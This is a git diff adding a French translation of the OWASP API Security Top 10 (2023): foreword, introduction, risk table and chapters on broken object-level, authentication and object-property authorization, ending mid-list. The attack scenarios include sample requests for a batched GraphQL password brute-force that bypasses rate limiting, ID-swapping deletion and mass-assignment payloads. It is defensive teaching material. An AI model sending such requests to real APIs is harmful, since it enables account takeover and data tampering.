https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/fr/0x02-foreword.md b/editions/2023/fr/0x02-foreword.md new file mode 100644 index 000000000..1aa5a6194 --- /dev/null +++ b/editions/2023/fr/0x02-foreword.md @@ -0,0 +1,27 @@ +# Avant-propos + +Actuellement, l'innovation dans le monde des applications est portée par l'Interface de Programmation Applicative (API). +Des banques en passant par le commerce et le transport, jusqu'à l'IoT, les véhicules autonomes et les villes intelligentes, les API sont une partie essentielle des applications modernes, que ces applications soient des logiciels, des applications web ou mobiles. Les API peuvent être utilisées dans des applications destinées aux consommateurs, aux partenaires ou à des usages internes. + +Par nature, les API exposent la logique de l'application et des données sensibles telles que les données à caractère personnel (DCP) et, en raison de cela, les API sont devenues de plus en plus une cible privilégiée pour les attaquants. Sans API sécurisées, une innovation rapide serait impossible. + +Bien que la liste des 10 principaux risques de sécurité des applications web soit toujours pertinente, en raison la nature particulière des API, une liste spécifique des risques de sécurité consacrée aux API était nécessaire. La sécurité des API se concentre sur des stratégies et des solutions pour comprendre et atténuer les vulnérabilités uniques et les risques de sécurité associés aux API. + +Si vous êtes familier avec le [Projet OWASP Top 10][1], vous remarquerez les similitudes entre les deux documents : ils sont conçus pour être lisibles et pour facilement se les approprier. Si vous êtes nouveau dans la série OWASP Top 10, vous feriez peut-être mieux de lire les sections [Risques de sécurité des API][2] et [Méthodologie et données][3] avant de vous plonger dans la liste du Top 10. + +Vous pouvez contribuer au OWASP API Security Top 10 avec vos questions, commentaires et idées sur notre dépôt de projet GitHub : + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Vous pouvez trouver le OWASP API Security Top 10 ici : + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Nous tenons à remercier tous les contributeurs qui ont rendu ce projet possible par leur effort et leurs contributions. Ils sont tous répertoriés dans la [section Remerciements][4]. Merci ! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fr/0x03-introduction.md b/editions/2023/fr/0x03-introduction.md new file mode 100644 index 000000000..546136073 --- /dev/null +++ b/editions/2023/fr/0x03-introduction.md @@ -0,0 +1,61 @@ +# Introduction + +## Bienvenue dans le OWASP API Security Top 10 - 2023! + +Bienvenue dans la seconde édition du OWASP API Security Top 10! + +Ce document de sensibilisation a été publié pour la première fois en 2019. Depuis +lors, le secteur de la sécurité des API a prospéré et est devenue plus mature. +Nous croyons fermement que la première édition de ce document a contribué positivement à cette industrie, +car il a rapidement été adopté comme une référence. + +Les API jouent un rôle très important dans l'architecture moderne des applications. +Mais comme l'innovation évolue à un rythme différent de la sensibilisation à la sécurité, +nous pensons qu'il est important de se concentrer sur la sensibilisation à la sécurité des API. + +Le principal objectif du OWASP API Security Top 10 est d'éduquer ceux qui sont +impliqués dans le développement et la maintenance des API, par exemple, les +développeurs, les designers, les architectes, les managers ou les +organisations. Vous pouvez en savoir plus sur le projet en +visitant [la page du projet][1]. + +Si vous n'êtes pas familier avec la série OWASP top 10, nous vous recommandons de +consulter au moins les projets suivants : + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Aucun de ces projets n'en remplace un autre : si vous travaillez sur une application +mobile alimentée par une API back-end, vous feriez mieux de lire les deux Top 10 +correspondants. Il en va de même si vous travaillez sur une application web ou +de bureau alimentée par des API. + +Dans la section [Méthodologie et données][13], vous pouvez en savoir plus sur la +façon dont cette édition a été créée. Nous encourageons tout le +monde à contribuer avec des questions, des commentaires et des idées sur notre +[dépôt GitHub][14] ou notre [liste de diffusion][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/fr/0x04-release-notes.md b/editions/2023/fr/0x04-release-notes.md new file mode 100644 index 000000000..d2290ce61 --- /dev/null +++ b/editions/2023/fr/0x04-release-notes.md @@ -0,0 +1,26 @@ +# Notes de publication + +Ce document est la seconde édition du OWASP API Security Top 10, disponible exactement quatre ans +après sa première publication. Beaucoup de choses ont changé dans le domaine (de +la sécurité) des API. Le trafic des API a augmenté à un rythme soutenu, certains +protocoles API ont gagné en popularité, de nouvelles solutions de sécurité ont vu le jour, et, bien sûr, les attaquants ont développé de nouvelles compétences et techniques pour compromettre les API. Il était grand temps de mettre à jour la liste des dix risques de sécurité API les plus critiques. + +Avec une industrie de la sécurité des API plus mature, pour la première fois, il y a eu [un appel public à la collecte de données][1]. Malheureusement, aucune donnée n'a été envoyée, mais sur la base de l'expérience de l'équipe du projet, de l'examen attentif de la part des spécialistes de la sécurité des API et des retours de la communauté sur la version candidate, nous avons construit cette nouvelle liste. Dans la [section Méthodologie et Données][2], vous trouverez plus de détails sur la façon dont cette version a été construite. Pour plus de détails sur les risques de sécurité, veuillez vous référer à la [section Risques de sécurité des API][3]. + +Le OWASP API Security Top 10 2023 est un document de sensibilisation tourné vers l'avenir pour une industrie en constante évolution. Il ne remplace pas les autres TOP 10. Dans cette édition : + +* Nous avons combiné l' "Excessive Data Exposure" et le "Mass Assignment" en mettant l'accent sur la cause commune : "Broken Object Property Level Authorization". +* Nous avons mis davantage l'accent sur la consommation de ressources, plutôt que sur le rythme auquel elles sont épuisées. +* Nous avons créé une nouvelle catégorie "Unrestricted Access to Sensitive Business Flows" pour aborder de nouvelles menaces, comprenant la plupart de celles qui peuvent être atténuées par le biais du rate limiting. +* Nous avons ajouté "Unsafe Consumption of APIs" pour aborder quelque chose que nous avons commencé à voir : les attaquants ont commencé à chercher à compromettre les services intégrés de la cible, au lieu de viser directement les API. C'est le bon moment pour commencer à sensibiliser à ce risque croissant. + +Les API jouent un rôle de plus en plus important dans l'architecture moderne des microservices, les applications monopages (SPA), les applications mobiles, l'IoT, etc. Le OWASP API Security Top 10 est un effort nécessaire pour sensibiliser aux problèmes de sécurité des API modernes. + +Cette mise à jour n'a été possible que grâce à l'énorme effort de plusieurs bénévoles, listés dans la [section Remerciements][4]. + +Merci! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fr/0x10-api-security-risks.md b/editions/2023/fr/0x10-api-security-risks.md new file mode 100644 index 000000000..6815d000a --- /dev/null +++ b/editions/2023/fr/0x10-api-security-risks.md @@ -0,0 +1,39 @@ +# Risques de sécurité des API + +La [méthodologie d'évaluation des risques de l'OWASP][1] a été utilisée pour effectuer l'analyse des risques. + +La table ci-dessous résume la terminologie associée au "score" de risque. + +| Facteur de menace | Exploitabilité | Prévalence de la faiblesse | Détectabilité de la faiblesse | Impact technique | Impacts organisationnel | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Spécifique à l'API | Facile: **3** | Répandue **3** | Facile **3** | Sévère **3** | Spécifique à l'organisation | +| Spécifique à l'API | Moyenne: **2** | Commune **2** | Moyenne **2** | Modéré **2** | Spécifique à l'organisation | +| Spécifique à l'API | Difficile: **1** | Difficile **1** | Difficile **1** | Mineur **1** | Spécifique à l'organisation | + + +**Note**: Cette approche ne prend pas en compte la probabilité de la menace. Elle ne tient pas non plus compte des divers détails techniques spécifiques à votre application. L'un de ces facteurs pourrait affecter significativement la probabilité globale qu'un attaquant trouve et exploite une vulnérabilité particulière. Cette notation ne prend pas en compte l'impact réel sur votre entreprise. Votre organisation devra décider du niveau de risque de sécurité des applications et des API que l'organisation est prête à accepter compte tenu de votre culture, de votre secteur et de votre environnement réglementaire. Le but du OWASP API Security Top 10 n'est pas de faire cette analyse de risque pour vous. Comme cette édition n'est pas basée sur des données, la prévalence résulte d'un consensus entre les membres de l'équipe. + +## Références + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### Externes + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/fr/0x11-t10.md b/editions/2023/fr/0x11-t10.md new file mode 100644 index 000000000..bbb4fd8ef --- /dev/null +++ b/editions/2023/fr/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 API Security Risks – 2023 + +| Risque | Description | +| ------ | ----------- | +| [API1:2023 - Broken Object Level Authorization][api1] | Les API ont tendance à exposer des points d'accès (endpoints) qui manipulent des identifiants d'objets (OID), créant ainsi une large surface d'attaque sur les contrôles d'accès aux objets. Des contrôle d'autorisation doivent être effectuées dans chaque fonction qui accède à une source de données en utilisant un ID fourni par l'utilisateur. | +| [API2:2023 - Broken Authentication][api2] | Les mécanismes d'authentification sont souvent implémentés de manière incorrecte, permettant aux attaquants de compromettre les jetons (token) d'authentification ou d'exploiter des failles d'implémentation afin d'usurper temporairement ou définitivement l'identité d'autres utilisateurs. L'incapacité d'un système à identifier le client/l'utilisateur compromet la sécurité de l'API dans son ensemble. | +| [API3:2023 - Broken Object Property Level Authorization][api3] | Cette catégorie combine les anciennes catégories [API3:2019 Excessive Data Exposure][1] et [API6:2019 - Mass Assignment][2], en se concentrant sur la cause commune : le manque de validation ou une validation incorrecte dans le processus d'autorisation au niveau des propriétés de l'objet. Cela conduit à une exposition ou une manipulation d'informations par des parties non autorisées. | +| [API4:2023 - Unrestricted Resource Consumption][api4] | Satisfaire les requêtes API nécessite des ressources telles que la bande passante réseau, le CPU, la mémoire et le stockage. D'autres ressources telles que les e-mails/SMS/appels téléphoniques ou la validation biométrique sont mises à disposition par les fournisseurs de services via des intégrations API, moyennant un paiement par requête effectuée. Des attaques réussies peuvent entraîner un déni de service ou une augmentation des coûts opérationnels. | +| [API5:2023 - Broken Function Level Authorization][api5] | Les politiques de contrôle d'accès complexes avec différentes hiérarchies, groupes et rôles, et une séparation floue entre les fonctions normales et d'administration, tendent à entraîner des failles d'autorisation. En exploitant ces problèmes, les attaquants peuvent accéder aux ressources d'autres utilisateurs et/ou aux fonctions d'administration. | +| [API6:2023 - Unrestricted Access to Sensitive Business Flows][api6] | Les API vulnérables à ce risque exposent un flux métier - tel que l'achat d'un billet ou la publication d'un commentaire - sans compenser l'impact potentiellement néfaste pour l'entreprise si la fonctionnalité est utilisée de manière excessive et automatisée. Cela ne provient pas nécessairement de bugs d'implémentation. | +| [API7:2023 - Server Side Request Forgery][api7] | Les failles de type SSRF (Server-Side Request Forgery) peuvent survenir lorsqu'une API récupère une ressource distante sans valider l'URI fourni par l'utilisateur. Cela permet à un attaquant de forcer l'application à envoyer une requête forgée vers une destination inattendue, même si elle est protégée par un pare-feu ou un VPN. | +| [API8:2023 - Security Misconfiguration][api8] | Les API et les systèmes qui les supportent contiennent généralement des configurations complexes, destinées à rendre les API plus personnalisables. Les ingénieurs logiciels et DevOps peuvent passer à côté de ces configurations, ou ne pas suivre les meilleures pratiques de sécurité en matière de configuration, ouvrant la porte à différents types d'attaques. | +| [API9:2023 - Improper Inventory Management][api9] | Les API ont tendance à exposer plus de points d'accès que les applications web traditionnelles, ce qui rend une documentation propre et à jour très importante. Un inventaire correct des hôtes et des versions d'API déployées est également important pour atténuer les problèmes tels que les versions d'API obsolètes et les points d'accès de débuggage exposés. | +| [API10:2023 - Unsafe Consumption of APIs][api10] | Les développeurs ont tendance à faire plus confiance aux données reçues des API tierces qu'aux entrées des utilisateurs, et adoptent donc souvent des normes de sécurité plus faibles. Afin de compromettre les API, les attaquants s'attaquent aux services tiers intégrés plutôt que de tenter de compromettre directement l'API cible. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/fr/0xa1-broken-object-level-authorization.md b/editions/2023/fr/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..bf507a311 --- /dev/null +++ b/editions/2023/fr/0xa1-broken-object-level-authorization.md @@ -0,0 +1,74 @@ +# API1:2023 Broken Object Level Authorization + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détection **Facile** | Technique **Modérée** : Spécifique à l'organisation | +| Les attaquants peuvent exploiter les points d'accès (endpoints) de l'API qui sont vulnérables au "Broken Object Level Authorization" en manipulant l'ID de l'objet envoyé dans la requête. Les ID d'objet peuvent être des entiers, des UUID (identifiants uniques universels) ou des chaînes de caractères. Quel que soit le type de données, ils sont faciles à identifier dans la requête (dans le chemin ou dans les paramètres), son en-tête (header) ou même dans sa payload. | Ce problème est extrêmement courant dans les applications basées sur des API car le composant serveur ne suit généralement pas pleinement l'état du client, et se repose plutôt sur des paramètres comme les ID d'objet, qui sont envoyés par le client pour décider à quels objets accéder. La réponse du serveur est généralement suffisante pour comprendre si la requête a réussi. | L'accès non autorisé aux objets d'autres utilisateurs peut entraîner la divulgation de données à des parties non autorisées, la perte de données ou la manipulation de données. Dans certaines circonstances, l'accès non autorisé aux objets peut également entraîner une prise de contrôle complète du compte. | + +## L'API est-elle vulnérable ? + +L'autorisation au niveau des objets est un mécanisme de contrôle d'accès qui est généralement implémenté au niveau du code pour valider qu'un utilisateur ne peut accéder qu'aux objets auxquels il devrait avoir accès. + +Chaque point d'accès (endpoint) de l'API qui reçoit un ID d'un objet et effectue une action sur l'objet devrait implémenter des vérifications d'autorisation au niveau de l'objet. Les vérifications devraient valider que l'utilisateur connecté a les autorisations pour effectuer l'action demandée sur l'objet demandé. + +Les échecs de ce mécanisme conduisent généralement à la divulgation non autorisée d'informations, à la modification ou à la destruction de toutes les données. + +Comparer l'ID de l'utilisateur de la session actuelle (par exemple, en l'extrayant du jeton JWT) avec le paramètre ID vulnérable n'est pas une solution suffisante pour résoudre le Broken Object Level Authorization (BOLA). Cette approche ne pourrait résoudre qu'un petit sous-ensemble de cas. + +Dans ce cas du BOLA, c'est par conception que l'utilisateur aura accès au point d'accès (endpoint) ou à la fonction vulnérable. La violation se produit au niveau de l'objet, en manipulant l'ID. Si un attaquant parvient à accéder à un point d'accès (endpoint) ou à une fonction API à laquelle il ne devrait pas avoir accès, il s'agit d'un cas de [Broken Function Level Authorization][5] (BFLA) plutôt que d'un BOLA. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une plateforme de e-commerce pour des magasins en ligne fournit une page avec les graphiques des revenus que le magasin a généré. En inspectant les requêtes du navigateur, un attaquant peut identifier les points d'accès de l'API utilisés comme source de données pour ces graphiques et leur modèle : `/shops/{shopName}/revenue_data.json`. En utilisant un autre point d'accès de l'API, l'attaquant peut obtenir la liste de tous les noms de magasins hébergés. Avec un simple script pour manipuler les noms de la liste, en remplaçant `{shopName}` dans l'URL, l'attaquant obtient accès aux données de vente de milliers de magasins de e-commerce. + +### Scénario #2 + +Un fabricant automobile a permis le contrôle à distance de ses véhicules via une API mobile pour communiquer avec le téléphone mobile du conducteur. L'API permet au conducteur de démarrer et d'arrêter le moteur et de verrouiller et déverrouiller les portes à distance. Dans ce flux, l'utilisateur envoie le numéro d'identification du véhicule (VIN) à l'API. L'API ne valide pas que le VIN représente un véhicule appartenant à l'utilisateur connecté, ce qui conduit à une vulnérabilité de BOLA. Un attaquant peut accéder à des véhicules qui ne lui appartiennent pas. + +### Scénario #3 + +Un service de stockage de documents en ligne permet aux utilisateurs de visualiser, d'éditer, de stocker et de supprimer leurs documents. Lorsqu'un document d'un utilisateur est supprimé, une mutation GraphQL avec l'ID du document est envoyée à l'API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +L'API ne vérifie pas si l'utilisateur connecté a les autorisations pour supprimer le document avec l'ID fourni. Un attaquant peut supprimer les documents d'autres utilisateurs en remplaçant l'ID du document dans la requête. + +## Comment s'en prémunir + +* Implémentez un mécanisme d'autorisation approprié qui repose sur les politiques et la hiérarchie des utilisateurs. +* Utilisez le mécanisme d'autorisation pour vérifier si l'utilisateur connecté peut effectuer l'action demandée sur l'objet dans chaque fonction qui utilise une entrée du client pour accéder à la base de données. +* Préférez l'utilisation de valeurs GUID aléatoires et imprévisibles pour les ID. +* Écrivez des tests pour évaluer la vulnérabilité du mécanisme d'autorisation. Ne déployez pas de modifications qui feraient échouer les tests. + +## Références + +### OWASP + +* [Authorization Cheat Sheet][1] +* [Authorization Testing Automation Cheat Sheet][2] + +### Externes + +* [CWE-285: Improper Authorization][3] +* [CWE-639: Authorization Bypass Through User-Controlled Key][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/fr/0xa2-broken-authentication.md b/editions/2023/fr/0xa2-broken-authentication.md new file mode 100644 index 000000000..83e58e322 --- /dev/null +++ b/editions/2023/fr/0xa2-broken-authentication.md @@ -0,0 +1,108 @@ +# API2:2023 Broken Authentication + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation | +| Le mécanisme d'authentification est une cible facile pour les attaquants car il est exposé à tout le monde. Bien que des compétences techniques plus avancées puissent être nécessaires pour exploiter certaines failles d'authentification, des outils d'exploitation sont généralement disponibles. | Les erreurs de conception commises par les ingénieurs logiciels et en sécurité ou la complexité d'implémentation rendent les problèmes courants pour l'authentification des utilisateurs. Les méthodologies de détection des problèmes d'authentification sont disponibles et faciles à créer. | Les attaquants peuvent prendre le contrôle complet des comptes d'autres utilisateurs du système, lire leurs données personnelles et effectuer des actions sensibles en leur nom. Les systèmes sont peu susceptibles de pouvoir distinguer les actions des attaquants de celles des utilisateurs légitimes. | + + +## L'API est-elle vulnérable ? + +Les points d'accès (endpoints) et les flux d'authentification sont des actifs qui doivent être protégés. De plus, les mécanismes de "Mot de passe oublié / réinitialisation du mot de passe" doivent être traités de la même manière que les mécanismes d'authentification. + +Une API est vulnérable si elle : + +* Permet le bourrage d'informations d'identification, où l'attaquant utilise la force brute avec une liste de noms d'utilisateur et de mots de passe valides. +* Permet aux attaquants d'effectuer une attaque par force brute sur le même compte utilisateur, sans présenter de mécanisme de captcha/blocage de compte. +* Permet des mots de passe faibles. +* Envoie des détails d'authentification sensibles, tels que des jetons d'authentification et des mots de passe dans l'URL. +* Permet aux utilisateurs de modifier leur adresse e-mail, leur mot de passe actuel ou de réaliser d'autres opérations sensibles sans demander de confirmation de mot de passe. +* Ne valide pas l'authenticité des jetons. +* Accepte des jetons JWT non signés/faiblement signés (`{"alg":"none"}`) +* Ne valide pas la date d'expiration du JWT. +* Utilise des mots de passe en clair, non chiffrés ou faiblement hachés. +* Utilise des clés de chiffrement faibles. + +De plus, un microservice est vulnérable si : + +* D'autres microservices peuvent y accéder sans authentification. +* Il utilise des jetons faibles ou prévisibles pour appliquer l'authentification. + +## Exemple de scénarios d'attaque + +## Scénario #1 + +Pour effectuer une authentification utilisateur, le client doit envoyer une requête API comme celle-ci avec les informations d'identification de l'utilisateur : + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Si les informations d'identification sont valides, un jeton d'authentification est renvoyé. Ce jeton doit être fourni dans les requêtes suivantes pour identifier l'utilisateur. Les tentatives de connexion sont soumises à une limitation de "rate limite": seules trois requêtes sont autorisées par minute. + +Pour effectuer une connexion par force brute avec le compte d'une victime, les attaquants utilisent le regroupement de requêtes GraphQL pour contourner la limitation du taux de requêtes, accélérant ainsi l'attaque : + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Scénario #2 + +Pour mettre à jour l'adresse e-mail associée au compte d'un utilisateur, les clients doivent envoyer une requête API comme celle-ci : + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Comme l'API ne demande pas aux utilisateurs de confirmer leur identité en fournissant leur mot de passe actuel, les attanquants qui sont capables de voler le jeton d'authentification pourraient être en mesure de prendre le contrôle du compte de la victime en demandant la réinitialisation du mot de passe après avoir mis à jour l'adresse e-mail du compte de la victime. + +## Comment s'en prémunir + +* Assurez-vous de connaître tous les flux possibles pour s'authentifier à l'API (mobile/web/liens profonds qui implémentent l'authentification en un clic/etc.). Demandez à vos ingénieurs quels flux vous avez manqués. +* Documentez-vous sur vos mécanismes d'authentification. Assurez-vous de comprendre ce qu'ils sont et comment ils sont utilisés. OAuth n'est pas une authentification, pas plus que les clés API. +* Ne réinventez pas la roue en matière d'authentification, de génération de jetons ou de stockage de mots de passe. Utilisez les standards. +* Les points d'accès de récupération des informations d'identification/mot de passe oublié doivent être traités comme des points d'accès de connexion. Ils doivent être protégés contre les attaques par la force brute : par le blocage de comptes ou la mise en place de "rate limiting" contraignant. +* Exigez une ré-authentification pour les opérations sensibles (par exemple, changer l'adresse e-mail du propriétaire du compte/le numéro de téléphone 2FA). +* Utilisez le [Cheat Sheet d'authentification OWASP][1]. +* Là où c'est possible, mettez en œuvre l'authentification multi-facteurs. +* Mettez en œuvre des mécanismes anti-brute force pour atténuer le bourrage d'informations d'identification, les attaques par dictionnaire et les attaques par force brute sur vos points d'accès d'authentification. Ce mécanisme doit être plus strict que les mécanismes de "rate limiting" réguliers sur vos API. +* Mettez en œuvre des mécanismes de [blocage de compte][2]/captcha pour prévenir les attaques par force brute contre des utilisateurs spécifiques. Mettez en œuvre des vérifications de mots de passe faibles. +* Les clés API ne doivent pas être utilisées pour l'authentification des utilisateurs. Elles ne doivent être utilisées que pour l'[authentification des clients API][3]. + +## Références + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### Externes + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/fr/0xa3-broken-object-property-level-authorization.md b/editions/2023/fr/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..b598fcbec --- /dev/null +++ b/editions/2023/fr/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,122 @@ +# API3:2023 Broken Object Property Level Authorization + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Modérée** : Spécifique à l'organisation | +| Les API ont tendance à exposer des points d'accès qui retournent toutes les propriétés d'un objet. Cela est particulièrement vrai pour les API REST. Pour d'autres protocoles tels que GraphQL, il peut être nécessaire de formuler des requêtes spécifiques pour annoncer quelles propriétés doivent être retournées. Identifier ces propriétés supplémentaires qui peuvent être manipulées demande plus d'efforts, mais il existe quelques outils automatisés disponibles pour aider dans cette tâche. | L'inspection des réponses API suffit pour identifier les informations sensibles dans les représentations des objets retournés. Le fuzzing est généralement utilisé pour identifier des propriétés supplémentaires (cachées). L'écriture d'une requête API spécifique et l'analyse de sa réponse peut permettre de savoir si ces propriétés peuvent être modifiées. Une analyse des effets secondaires peut être nécessaire si la propriété cible n'est pas retournée dans la réponse API. | Un accès non autorisé aux propriétés d'objet privées/sensibles peut entraîner une divulgation de données, une perte de données ou une corruption de données. Dans certaines circonstances, un accès non autorisé aux propriétés d'objet peut entraîner une élévation de privilèges ou une prise de contrôle partielle/totale du compte. | + +## L'API est-elle vulnérable ? + +Lorsqu'un utilisateur est autorisé à accéder à un objet en utilisant un point d'accès API, il est important de valider que l'utilisateur à le droit d'accéder aux propriétés spécifiques de l'objet. + +Un point d'accès API est vulnérable si : + +* Le point d'accès API expose des propriétés d'un objet qui sont considérées comme sensibles et qui ne devraient pas être lues par l'utilisateur. (précédemment nommé : "[Excessive Data Exposure][1]") +* Le point d'accès API permet à un utilisateur de modifier, d'ajouter ou de supprimer la valeur d'une propriété sensible de l'objet à laquelle l'utilisateur ne devrait pas avoir accès (précédemment nommé : "[Mass Assignment][2]") + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une application de rencontres permet à un utilisateur de signaler d'autres utilisateurs pour un comportement inapproprié. +Dans le cadre de ce processus, l'utilisateur clique sur un bouton "signaler", et l'appel API suivant est déclenché : + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +Le point d'accès API est vulnérable car il permet à l'utilisateur authentifié d'accéder à des propriétés sensibles de l'objet utilisateur, telles que "fullName" et "recentLocation", qui ne sont pas censées être accessibles par d'autres utilisateurs. + +### Scénario #2 + +Une plateforme de location en ligne, qui propose à un type d'utilisateurs ("hôtes") de louer leur appartement à un autre type d'utilisateurs ("invités"), exige que l'hôte accepte une réservation faite par un invité, avant de facturer l'invité pour le séjour. + +Dans le cadre de ce processus, un appel API est envoyé par l'hôte à `POST /api/host/approve_booking` avec la payload suivante : + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +L'hôte rejoue la requête légitime, et ajoute la payload malveillante suivante : + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +Le point d'accès API est vulnérable car il n'y a pas de validation des droits d'accès de l'hôte à la propriété d'objet - `total_stay_price`, et l'invité sera facturé plus qu'il ne le devrait. + +### Scénario #3 + +Un réseau social basé sur de courtes vidéos, applique un filtrage de contenu restrictif et une censure. Même si une vidéo téléchargée est bloquée, l'utilisateur peut modifier la description de la vidéo en utilisant la requête API suivante : + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +Un utilisateur frustré peut rejouer la requête légitime, et ajouter la payload malveillante suivante : + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +Le point d'accès API est vulnérable car il n'y a pas de validation si l'utilisateur devrait avoir accès à la propriété d'objet - `blocked`, et l'utilisateur peut changer la valeur de `true` à `false` et débloquer son propre contenu bloqué. + +## Comment s'en prémunir + +* Lors de l'exposition d'un objet à l'aide d'un point d'accès API, assurez-vous toujours que l'utilisateur a accès aux propriétés de l'objet que vous exposez. +* Évitez d'utiliser des méthodes génériques telles que `to_json()` et `to_string()`. 